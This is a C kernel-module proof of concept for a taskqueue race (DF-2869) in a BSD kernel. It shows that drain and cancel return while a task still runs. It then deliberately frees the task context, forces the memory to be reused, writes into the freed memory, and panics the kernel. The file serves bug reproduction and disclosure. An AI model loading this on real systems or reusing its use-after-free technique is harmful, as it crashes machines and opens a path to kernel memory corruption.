/*
 * DF-2869 PoC: taskqueue tq_running single-slot race.
 *
 * subr_taskqueue.c taskqueue_run() stores the dequeued task in the single
 * queue->tq_running slot and clears it (unlocked) when the func returns.
 * With >= 2 concurrent runners on one queue, completion of task B clears
 * tq_running while task A is still executing, so taskqueue_cancel() fails
 * to return EBUSY and taskqueue_drain() returns immediately for A.
 * A caller following the documented contract then frees A's context while
 * ta_func(A) is still executing -> use-after-free (read+write).
 *
 * Build:  make
 * Run:    kldload ./tquaf.ko
 * Expect: "BUG PROVEN" then a panic "tquaf: task context freed while
 *         task still running (magic=deadbeef)".
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/kthread.h>
#include <sys/malloc.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/taskqueue.h>
#include <sys/thread.h>
#include <sys/conf.h>
#include <sys/module.h>

MALLOC_DEFINE(M_TQUAF, "tquaf", "tquaf DF-2869");

#define MAGIC_LIVE	0xCAFEBABE
#define MAGIC_JUNK	0xDEADBEEF

struct tquaf_ctx {
	uint32_t	magic;
	volatile int	entered;
	volatile int	release;
};

static struct taskqueue *tq;
static struct task t1, t2;
static struct tquaf_ctx *ctx;
static volatile int t2_done;
static volatile int t1_panic_checked;
static volatile int phase;		/* 0=pre-drain 1=draining 2=settled */
static volatile int ctx_freed;

static void
t1_func(void *arg, int pending)
{
	struct tquaf_ctx *c = arg;

	c->entered = 1;
	while (!c->release)
		tsleep(&c->release, 0, "tqspin", 1);

	/*
	 * We are still "the running task".  If the controller was able to
	 * free + reallocate this context (because drain() returned early),
	 * the memory under our feet is foreign now.
	 */
	t1_panic_checked = 1;
	if (c->magic != MAGIC_LIVE) {
		kprintf("tquaf: UAF CONFIRMED: running task sees ctx %p "
		    "magic=%08x (expected %08x)\n",
		    c, c->magic, MAGIC_LIVE);
		panic("DF-2869: task context freed while task running "
		    "(magic=%08x)", c->magic);
	}
	kprintf("tquaf: t1 clean exit\n");
}

static void
t2_func(void *arg, int pending)
{
	t2_done = 1;
}

static void
tquaf_ctrl(void *arg)
{
	struct tquaf_ctx *junk;
	int err, i;

	tq = taskqueue_create("tquaf", M_WAITOK,
	    taskqueue_thread_enqueue, &tq);
	err = taskqueue_start_threads(&tq, 2, TDPRI_KERN_DAEMON, -1, "tquaf");
	kprintf("tquaf: queue %p started (%d)\n", tq, err);

	ctx = kmalloc(sizeof(*ctx), M_TQUAF, M_WAITOK | M_ZERO);
	ctx->magic = MAGIC_LIVE;

	TASK_INIT(&t1, 0, t1_func, ctx);
	TASK_INIT(&t2, 0, t2_func, NULL);

	/* worker A picks up t1 and blocks inside ta_func */
	taskqueue_enqueue(tq, &t1);
	while (!ctx->entered)
		tsleep(&ctx->entered, 0, "tqw1", 1);

	/* worker B picks up t2, runs it instantly, and completes:
	 *   queue->tq_running = NULL   <-- while t1 is STILL RUNNING */
	taskqueue_enqueue(tq, &t2);
	while (!t2_done)
		tsleep(&t2_done, 0, "tqw2", 1);
	tsleep(&t2_done, 0, "tqw3", hz / 20);	/* let runner B finish epilogue */

	/* Proof 1: cancel must return EBUSY (task is running) */
	err = taskqueue_cancel(tq, &t1, NULL);
	kprintf("tquaf: taskqueue_cancel(t1) = %d while t1 running "
	    "(0 = contract violated, EBUSY=16 expected)\n", err);

	/*
	 * Proof 2: drain must block until t1's func returns.
	 * On the buggy kernel drain returns immediately while ta_func still
	 * executes (entered && !release).  On the fixed kernel drain blocks;
	 * the releaser thread then sets release after 2s so the harness
	 * terminates cleanly (this is the CORRECT behavior).
	 */
	phase = 1;
	taskqueue_drain(tq, &t1);
	if (ctx->entered && !ctx->release) {
		kprintf("tquaf: BUG PROVEN: taskqueue_drain(t1) returned "
		    "while t1 ta_func still executing\n");

		/* The documented caller pattern: cancel/drain then free */
		kprintf("tquaf: freeing live task context %p\n", ctx);
		ctx_freed = 1;
		kfree(ctx, M_TQUAF);

		junk = NULL;
		for (i = 0; i < 128; i++) {
			junk = kmalloc(sizeof(*junk), M_TQUAF, M_WAITOK | M_ZERO);
			if ((void *)junk == (void *)ctx)
				break;
			kfree(junk, M_TQUAF);
			junk = NULL;
		}
		if (junk) {
			junk->magic = MAGIC_JUNK;
			kprintf("tquaf: freed ctx reallocated at %p "
			    "(alias %s) magic=%08x\n", junk,
			    (void *)junk == (void *)ctx ? "YES" : "no",
			    junk->magic);
		} else {
			kprintf("tquaf: could not force alias (freed ctx "
			    "not reused in 128 tries)\n");
		}

		/* UAF write: poke the release flag in freed memory */
		ctx->release = 1;
		/* t1_func now resumes on freed/reused memory */
		tsleep(&t1_panic_checked, 0, "tqw4", 5 * hz);
		kprintf("tquaf: t1 did not panic?! (checked=%d)\n",
		    t1_panic_checked);
	} else {
		if (t1_panic_checked) {
			kprintf("tquaf: NOT REPRODUCED (fixed): cancel=%d "
			    "(EBUSY), drain waited for ta_func completion\n",
			    err);
		} else {
			kprintf("tquaf: NOT REPRODUCED: drain returned but "
			    "func had completed\n");
		}
	}

	/*
	 * Clean shutdown so the module can unload safely.
	 * (On the buggy kernel we never get here - t1_func panics.)
	 */
	taskqueue_drain(tq, &t1);
	taskqueue_free(tq);
	kfree(ctx, M_TQUAF);
	phase = 2;
	wakeup(&phase);
	kthread_exit();
}

/*
 * On a fixed kernel taskqueue_drain() blocks until ta_func returns; this
 * thread releases the func after 2 seconds so the harness completes.
 * On the buggy kernel the controller finishes the drain (and panics) in
 * microseconds, so this never fires.
 */
static void
tquaf_releaser(void *arg)
{
	int i;

	for (i = 0; i < 2; i++)
		tsleep(&phase, 0, "tqrel", hz);
	if (phase == 1 && !ctx_freed && !ctx->release) {
		kprintf("tquaf: releaser: drain() is blocking (correct "
		    "behavior); releasing ta_func\n");
		ctx->release = 1;
	}
	kthread_exit();
}

static int
tquaf_ev(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kthread_create(tquaf_ctrl, NULL, NULL, "tquafctrl");
		kthread_create(tquaf_releaser, NULL, NULL, "tquafrel");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(tquaf, tquaf_ev, NULL);